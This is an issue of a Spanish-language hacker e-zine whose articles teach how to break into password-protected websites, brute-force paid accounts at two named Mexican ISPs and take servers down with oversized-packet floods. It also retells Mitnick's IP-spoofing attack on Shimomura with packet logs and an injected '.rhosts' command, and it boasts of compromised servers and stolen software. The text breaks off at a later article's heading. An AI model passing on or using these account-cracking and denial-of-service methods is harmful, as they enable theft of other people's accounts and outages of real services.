[ E-ZiNe ] [ Vol. 3 ] +--------------------------------------------------------------------+ || |::| [ASCii/Dr_X] |::::| |:: ::| |:: ::| =[ a QuALiTy tEaM iN Mx ]= |:: ::| ||||||:: ::|||||| |::::::: :::::::| """""$$$$$$$$$$""""" ::| |$$$$$$$$$$. ::| |:$$$$$$$$$$. ::| |::$$$$$$$$$$. ::| |:: $$$$$$$$$$ $$$$$$$. $$$$$$$| |:: $$$$$$$$$$ $$$$$$$. $$$$$$$:| |:: $$$$$$$$$$ $$$$$$$. $$$$$$$::| |:: $$$$$$$$$$ $$$$$$$oooooo$$$$$$$.::| |::ooooo$$$$$$$$$$ooooo $$""""""$$$$$$$. ::| |:: ...............oooo$$$......$$$$$$$. ::| |:: $$$$$$$. $$$$$$$. ::| |:: $$$$$$$. $$$$$$$. ::| |:: $$$$$$$. $$$$$$$. ::| |:: ....... ....... ::| |888888888888888888888888888888888888888888888888888888| $$$$$$$$$$$$$$$$$$[ InsaneHackers Team ]$$$$$$$$$$$$$$$$$$ ============================================================ ... La E-ZinE +--------------------------------------------------------------------+ [ c0nTenId0 ] .-==========================================-. | 0. Advertencia (Disclaimer).......[IH Team]| | 1. ReUnIoN DeL TeAm...............[MIBXXX] | | 2. AnONiMaTo eN iNtErNeT II.......[MIBXXX] | | 3. Noticias.......................[MIBXXX] | | 4. Introduccion al Cracking II....[MIBXXX] | | 5. Como hackeo Mitnick a Tsutomu..[MIBXXX] | | 6. Como obtener cuentas de Inet...[MIBXXX] | | 7. Denial Of Service II...........[MiBXXX] | | 8. Historia de la Cybernetica.....[KAMMUS] | | 9. TiPS...........................[MIBXXX] | | 10.PRoXiMAmEnTE...................[IH TEAM]| | 11.Despedida......................[IH TEAM]| '-==========================================-' ==================================================================== [IH E-Zine][Vol. 3] ==================================================================== -*- ADVERTENCIA (DISKLAIMER) -*- La infromacion contenida dentro de este boletin es reunida con fines EXCLUSIVAMENTE educativos, ya ke el uso de esta informa- cion puede llevar a actos ilegales en la mayoria de los paises los cuales pueden llegar a ser sancionados hasta con la priva- cion de tu libertad. Asi es ke ya sabes... estas actuando bajo tu propio riesgo, ni los miembros de IH ni los puntos de dis- tribucion de esta E-Zine pueden ser considerados responsables por lo ke hagas o no con esta informacion. Ya pusimos esto, asi ke olvidate de demandarnos en kaso de ke algo salga mal jejeje. ==================================================================== [IH E-Zine][Vol. 3] ==================================================================== -------------------------------- | Se ReUnE AgAiN El TeAm!! | -------------------------------- Por: MIBXXX Despues de un largo periodo de espera... sale la e-Zine 3, y esto debido a que habiamos pasado por un periodo de inestabilidad... Creamos una red de IRC, la cerramos, nos desconectamos... en fin, ya ni nosotros sabiamos donde andabamos! pero ya estamos de re- greso para ofrecerles contenidos de calidad. ==================================================================== [IH E-Zine][Vol. 3] ==================================================================== ******************************* * Anonimato en Internet pt.II * ******************************* Por: MIBXXX (Conitnuacion de la E-Zine no.1) Proxies (si, es el plural de proxy): El din real de los proxies es el acelerar las conexiones en la red, su funcionamiento es bastante simple... cuando tu maquina hace una peticion http (web), esta pasa al proxy de tu ISP, el cual checa si alguno de sus usuarios ha accesado a esa misma pa- gina ultimamente, de ser asi tiene una copia en alguna parte del server, por lo que simplemente checa si no es muy vieja compara- ndola con la original y en caso que no lo sea te la envia direc- tamente, evitando que sea el server original el que te la envie, optimizando asi las transferencias en Internet. Sin embargo hay otros usos para los proxies jejejeje... el ocul- tar tu identidad!!! esto gracias a que manejan todas las peti- ciones http!!! por lo regular todo buen ISP debe de tener uno y puedes llamar directo al soporte tecnico de tu ISP y pedirle la informacion de su proxy, por desgracia por lo regular o te con- testan que no tienen uno o te lo dan, pero como no es un proxy publico sino que solo los clientes de ese ISP lo pueden accesar es muy facil que el propietario del servidor de web sepa que ISP esta haciendo la peticion y por lo tanto puede ponerse en con- tacto con el administrador de tu ISP y ver quien estaba dentro del proxy ese dia a esa hora. La solucion a esto son los proxies publicos!!! las listas de estos proxies abundan en la red, solo hay que saber buscarlas... yo uso www.cyberarmy.com. La mayoria de los proxies son solo de web, pero hay tambien al- gunos de FTP y hasta he encontrado proxies de TELNET, pero eso es otra historia.... (continuara...) ==================================================================== [IH E-Zine][Vol. 3] ==================================================================== ___ _ _____ _ _ _ ______ / \/ \/. __\/ \/ \/ \/ ___\ *N0tiCiaS* | | | |-- | | | | \ | | | |___| |___ | \_/\___/\_____/\___/\___/\______/ 08 de Febrero... Se Libera oficialmente esta E-Zine... Se anexa a esta e-Zine una seccion de TIPS! 01 de Febrero... Se vuelve a consolidar el punto de reunion del team 16 de Enero... Incursionamos en programacion Perl, esto debido a que hay varios bugs explotables por este medio, ya que los archivos marcados como 777 (modo) se convierten en legibles por mas de un CGI. Enero... Caen dos servers en manos de IH!! (sorry, no digo cuales) Diciembre... Se logra el entrar a un servidor de venta de CGIs y se logra extraer de los directorios "seguros" CGIs por mas de 1,500 U.S. Dlls. (autor anonimo) Diciembre... Se inicia el squad de reverse engineering de IH Noviembre... Miembros del AcidKlan corren despavoridos por una broma que les hicieron los de RMx en el 2600 xDDDD. ==================================================================== [IH E-Zine][Vol. 3] ==================================================================== +++++++Introduccion al Cracking++++++ ++++(Capitulo II. WWW-pages)+++ By MiBXXX Este curso de divide en varios capitulos: Capitulo I. Crackeo de Software o Cracking clasico (tipos de proteccion, metodos de desproteccion, etc.) Capitulo II. Crackeo de Sitios WWW. (obtencion de login y password en las paginas que lo requieren) Capitulo III. Cracking=degeneracion del Hacking. (el cracking de servidores, sus metodos y objetivos) NOTA: Falta terminar el capitulo I, ese lo terminare en una edicion posterior pues es mas largo de explicar... Cuantas veces te ha pasado que al tratar de entra en una pagina web te dice que es exclusiva para miembros y te pide un login y un password para poder accesar a su contenido? (esto pasa principalmente en sitios XXX o en sitios de software/imagenes). Bueno, he aqui la solucion mas sencilla... Existen dos tipos de protecciones para esto... HTTP: Nos sale un cuadro de dialogo gris que nos pide el login y pass. HTML: Los campos para el login y pass estan incluidos en la pagina. Existe un tercer tipo, el cual esta disenado para hacernos creer que se trata de una proteccion HTTP pero en realidad es un script de JAVA!! En esta edicion explicare la forma basica de poder entrar a estos sitios, en ediciones posteriores explicare la forma compleja (pero mas efectiva). Antes de cualquier cosa hay que usar un poco la cabeza y ver el codigo de la pagina en la cual recibimos los campos de login y password, pues es muy probable que encontremos ahi si se trata de un simple JavaScript. Si este fuera el caso lo mas sencillo es ver si el password se encuentra encriptado de alguna forma en la misma pagina o si lo lee de un archivo externo. En caso de que se encuentre encriptado en la misma pagina basta con pensar un poco y encontrar la forma de desencriptarlo (muchas veces con observar rapido el javascript veremos el metodo de encripcion que usa). A veces es tan sencillo como que convierte las letras a numeros y compara el numero final con el que tiene almacenado (a=1 b=2, etc.) Si el password se encuentra almacenado en otro archivo lo mas seguro sera posible extraerlo directo, ya sea con un navegador de web escribiendo la URL del archivo (http://www.sitio.com/archivpass.txt) o por otros medios... yo les recomendaria intentarlo con el GetRight poniendo la URL del archivo y que intente bajarlo (de cualquier forma te puedes volar asi muchos applets de JAVA xDDDD). En el caso de que realmente se trate de una proteccion HTTP o HTML, hay que saber diferenciar de que tipo es... Si nos sale una ventana de dialogo (como las de error) de Windows y nos pide ahi el login y password para poder entrar e indica en la parte superior el nombre del sitio al que queremos accesar, entonces se trata de un HTTP. Si la peticion de login y password esta en la misma pagina estilo los sistemas de mail gratuito, entonces es una HTML. Para poder crackearlas lo mas sencillo (aunque no necesariamente lo mas rapido) es utilizar algun programa que realice ataques de fuerza bruta para poder entrar (el termino fuerza bruta lo explicare en un futuro). Solo tenemos que saber configurar este programa para poder entrar a ese tipo de protecciones. Yo te recomiendo el WWWHack o el MBHTTPBF (MungaBunga's HTTP BruteForcer) para esto. Ahora lo siguien- te es conseguir o hacer un diccionario completo. NO te recomiendo utilizar fuerza bruta total (probar uno por uno todos los caracteres) pues se convierte en algo demasiado lento. Como saber que diccionario usar o hacer? Es muy facil... trata de crear una cuenta en ese servidor... esto con el fin de ver si los passwords los genera solo o si son escogidos por los usuarios. Si son generados automaticamente por el server trata de analizar que es lo que da el servidor como respuesta (por ejemplo, AdultCheck lo que genera son 4 numeros mas la clave escogida por el usuario, 6666mibxxx seria uno). Si los passwords son elegidos por los usuarios un buen diccionario seria uno de nombres tanto de hombre como de mujer en el idioma en el que esta el sitio (no se porque pero demasiados weyes usan el nombre de su pareja como password y el propio como login), en sitios XXX tambien te podria ayudar un diccionario con todas esas palabras que de chico te dijeron que no mencionaras xDD. Ya con esto puedes empezar a atacar a un server y ver que tal te va... Proximamente les dire mas acerca de como hacer esto MUUUCHO mas rapido! ... [MiBXXX] ... ==================================================================== [IH E-Zine][Vol. 3] ==================================================================== --------[ CoMo MiTNiCk HaCkEo a Tsutomu S.]-------- PoR: MIBXXX Estos datos fueron obtenidos directo de los logs de Tsutomu Shimomura... Vean este texto como un tributo a Kevin Mitnick, no porque crea que es el mejor hacker (de serlo nunca hubiera aceptado un reto publico y mucho menos lo hubieran atrapado) sino que le dedico esto porque entien- do lo que se siente estar en prision y mas aun lo que es pasar tanto tiempo sin poder acercarse a ningun aparato de telecomunicaciones. Dos diferentes mecanismos de ataque se emprearon. Spoofin de la IP fuente y una secuencia de prediccion de numeros TCP para ganar acceso a una esta- cion de trabajo sin disco utilizada como terminal X. Despues de ganar root, secuestro una conexion a otro sistema fue secuestrada por medio de STREAMS cargables del kernel. En este texto hay partes extraidas de los logs de paquetes generados por este ataque. Para mantener la claridad y brevedad, algunos datos han sido omitidos. Les recomiendo el articulo de Stebe Bellovin y algunos mas acerca de Spoofin de IPs, ya que el describe con mas detalle la semantica de las conexiones TCP, asi como algunas sugerencias de como contrarrestar estos ataques. Mi configuracion es la siguiente: server = SPARC corriendo Solaris 1 sirviendo a mi terminal X. x-terminal = SPARC sin discos corriendo Solaris 1 blanco = El blanco primario aparente del ataque. El spoofing de IP empezo a las 14:09:32 el 25/12/94. Las primeras pruebas fueron desde toad.com (informacion obtenida el los logs de paquetes): toad.com# finger -l @target14:10:21 toad.com# finger -l @server toad.com# finger -l root@server14:11:07 toad.com# finger -l @x-terminal toad.com# showmount -e x-terminal toad.com# rpcinfo -p x-terminal toad.com# finger -l root@x-terminal El proposito aparente de estas pruebas es determinar si habia alguna forma de relacion de confianza entre estos sistemas que pudiera ser explotada :) Los puertos fuente para el showmount y rcpinfo indican que el atacante es root en toad.com. Seis minutos despues, vemos un monton de TCP SYNs (que son peticiones iniciales de conexion) desde 130.92.6.97 al puerto 513 (login) del servidor. El proposito de estos SYNs es el llenar la cola de conexion del puerto 513 en el servidor con conexiones "a medias" para que no conteste a ninguna nueva conexion. En particular, no generara TCP RSTs en respuesta a los reconocimientos de los SYNs. Como el puerto 513 es tambien un puerto "privilegiado", server.login puede ser usado como fuente putativa para el spoofing de la IP en los servicios r de unix (rsh, rlogin). 130.92.6.97 parece ser una direccion no usada al azar (una que no contesta a los paquetes que se le envian). 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) win 4096 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) win 4096 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) win 4096 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) win 4096 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) win 4096 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) win 4096 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) win 4096 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) win 4096 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) win 4096 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) win 4096 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) win 4096 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) win 4096 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) win 4096 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) win 4096 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) win 4096 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) win 4096 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) win 4096 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) win 4096 Los reconocimients de SYNs para los primeros 8 requests antes de que la conexion se llene. El server retransmitira periodicamente los re- conocimientos de SYNs aun cuando no hay nada que reconocer en ellos. Ahora vemos 20 intentos de conexion desde apollo.it.luc.edu a la shell de x-terminal. El proposito de estos intentos es determinar el comportamiento del generador de secuencias TCP de la terminal X. Fijate que los numeros iniciales de la secuencia se incrementan +1 en cada conexion, lo que indica que los paquetes SYN no son generados por la implementacion TCP del sistema. Estos resultados en RSTs convenien- temente generados en respuesta a cada SYN no esperado, para que la cola de conexion en X-terminal no se llene completamente: apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0) win 0 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0) win 4096 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 4096 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0 apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0) win 4096 x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 1382726993 win 4096 apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0) win 0 apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0) win 4096 x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 4096 apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0) win 0 apollo.it.luc.edu.996 > x-terminal.shell: S 1382726994:1382726994(0) win 4096 x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 4096 apollo.it.luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0) win 0 apollo.it.luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0) win 4096 x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 4096 apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0) win 0 apollo.it.luc.edu.994 > x-terminal.shell: S 1382726996:1382726996(0) win 4096 x-terminal.shell > apollo.it.luc.edu.994: S 2022592000:2022592000(0) ack 1382726997 win 4096 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096 x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0 Fijate que cada reconocimiento de paquete SYN enviada por la terminar tiene una secuencua de 128,000 mas grande que la anterior. Ahora vemos un SYN supuestamente del server.login a x-terminal.shell. Se presume que la x-terminal confia en el server asi que hara todo lo que le pida este (o lo que sea que se disfrace de server. la X-terminal contesta al server con un reconocimiento de SYN que debe ser reconocido para poder abrir la conexion. Como el servidor esta ignorando los paquetes enviandos al login (acuerdate que la cola esta llena), el recono- cimiento debe ser introducido por el atacante. Normalmente el numero de secuencia de reconocimiento del SYN es necesario para poder generar un reconocimiento valido. Como sea, el atacante es capaz de predecir el numero de secuenca contenido en el reconocimiento del SYN basadi en el comportamiento del generador de secuencias de TCP de la terminal X, y asi es capaz de reconocer el SYN sin verlo: server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096 server.login > x-terminal.shell: . ack 2024384001 win 4096 La maquina de spoofing ahora tiene conexion de una via a la shell de la terminal X que parece ser de server.login y puede mantener la conexion y mandar datos ya que puede reconocer datos enviados por la terminal x. Manda lo siguiente: server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096 que correponde a server# rsh x-terminal "echo + + >>/.rhosts" Tiempo total transcurrido desde el primer paquete: < 16 segundos Ahora se apaga la conexion spoofeada: server.login > x-terminal.shell: . ack 2 win 4096 server.login > x-terminal.shell: . ack 3 win 4096 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096 Ahoar vemos RSTs para resetar las conexiones "a medias" y vacias la cola de conexion de server.login: 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096 server.login puede ahora aceptar conexiones. Despues de sacar root por medio del spoofing de IP, se compila un modulo de kernel llamado tap-2.01 y se instala en x-terminal:x-terminal% modstat Id Type Loadaddr Size B-major C-major Sysnum Mod Name 1 Pdrv ff050000 1000 59. tap/tap-2.01 alpha x-terminal% ls -l /dev/tapcrwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap Este parece ser un modulo de kernel de STREAMS que puede ser empujado a las STREAMS existentes y es usado para tomar control de la tty. Fue usado para tomar control de una sesion de login ya autentificada mas o menos a las 14:51 PST. Por supuesto, ningun ataque seria completo sin un toque personal... Checa: ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dee.au ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dum.au Estan en formato de audio de Sun, 8-bit u-law, 8 khz. ==================================================================== [IH E-Zine][Vol. 3] ==================================================================== --[ CoMo oBTeNeR CuENtAs dE InTeRNeT FrEE ]-- By: MIBXXX Atencion: Este texto te dice como obtener cuentas de Internet gratis con los principales ISPs del pais, de cualquier forma hay un inconveniente... que si el dueno original de la cuenta trata de entrar contigo conectado a veces te desconectan... La ventaja es que te ahorras bastante jejejejeje.... OJO: si en tu comunidad hay algun ISP chiquito NO LE HAGAS ESTO!! Creeme que los enlaces dedicados salen bastante caros y que de algun lado tienen que comer los duenos de dicho ISP, es por esto que solo doy ejemplos para Prodigy y Avantel. En ambos casos se utiliza una tecnica similar a la descrita en el articulo de "Crackeando paginas web", sin embargo en este caso no estamos tratando de entrar a una pagina, sino a un servidor... El WWWHack y el MBHTTPBF traen la opcion de accesar a un servidor FTP y POP3, que son los que usaremos en este caso. En cuanto a los diccionarios te recomiendo nombres de hombre y de mujer en espanol, asi como nombres de artistas y de caricaturas (aunque no lo creas he visto demasiados passwords como pikachu, pokemon, goku, batman y garfield). TIP: Primero intenta con mismo login y password, es mas rapido y no se porque pero abundan los flojos que no se pueden apren- der un password, por lo que ponen login: juan password: juan. Ok, ahora veamos... Prodigy: La forma mas rapida de crackear passwords en Prodishit es por medio de su servidor de POP3... conecta tu crackeador al puerto 110 (a veces lo poner por defaul) y el server es prodigy.net.mx Avantel: Aqui contesta mas rapido el FTP que el POP3 y sabemos que Avantel te da espacio para tu pagina personal en la URL http://www.avantel.net/~usuario, por lo que podemos entrar directo por FTP al servidor ftp.avantel.net TIP para AVANTEL: Visita varias paginas de usuarios... intenta con http://www.avantel.net/~nombre y ponle nombres comunes... Si el usuario no ha subido una pagina (que es lo mas comun), veras que Avantel le da la bienvenida pero pone su NOMBRE COMPLETO, por lo que si ya tienes su nombre es muy probable que el password sea alguno de sus apellidos o su segundo nombre!!! ==================================================================== [IH E-Zine][Vol. 3] ==================================================================== +++++ dEnIaL oF sErViCe II+++++ Por: MIBXXX Ok... Asi que los tips que les di en el no. 2 de esta e-Zine no fueron suficiente para ustedes??? ok, aki hay algunas tec- nicas de DoS un poco mas efectivas... El chiste de esto es inyectar una cantidad de datos MAYOR a los 65500 bytes que aplicamos la vez pasada... Hay programas que hacen eso... por ejemplo el SuperKoD, el cual por default manda 1500000 bytes al puerto 139... el problema es que si tratamos de mandar esa cantidad de datos en un segundo desde windows o no se envia nada o se manda el paquete incompleto y si el servidor es capaz de contestar nos desconecta inmediatamente de la red... La solucion es: 1.- Usar una maquina con Linux Instalado 2.- Sacar una cuenta de shell en algun server publico. 3.- Ir con alguie que tenga un buen enlace y no use windows. Por suerte el SuperKoD es OpenSource, por lo que trae su propio codigo fuente, lo que nos permite modificarlo para que ataque a otros puertos y con diferentes cantidades de datos. Asi que podemos escanear los puertos del server victima y ver cuales estan abiertos para recibir datos (por ejemplo el 80 xD) y mandarle X cantidad de datos que el server no pueda manejar lo que significa ADIOS!!! xDDDDDD Ojo: hay una gran cantidad de servers en win2k ke siguen siendo vulnerables al 65500 xDDDDDDDDDD MIBXXX [IH TEA/\/\] mibxxx@insanehackers.org ==================================================================== [IH E-Zine][Vol. 3] ==================================================================== .-= Historia de la Cibernetica=-. PoR : |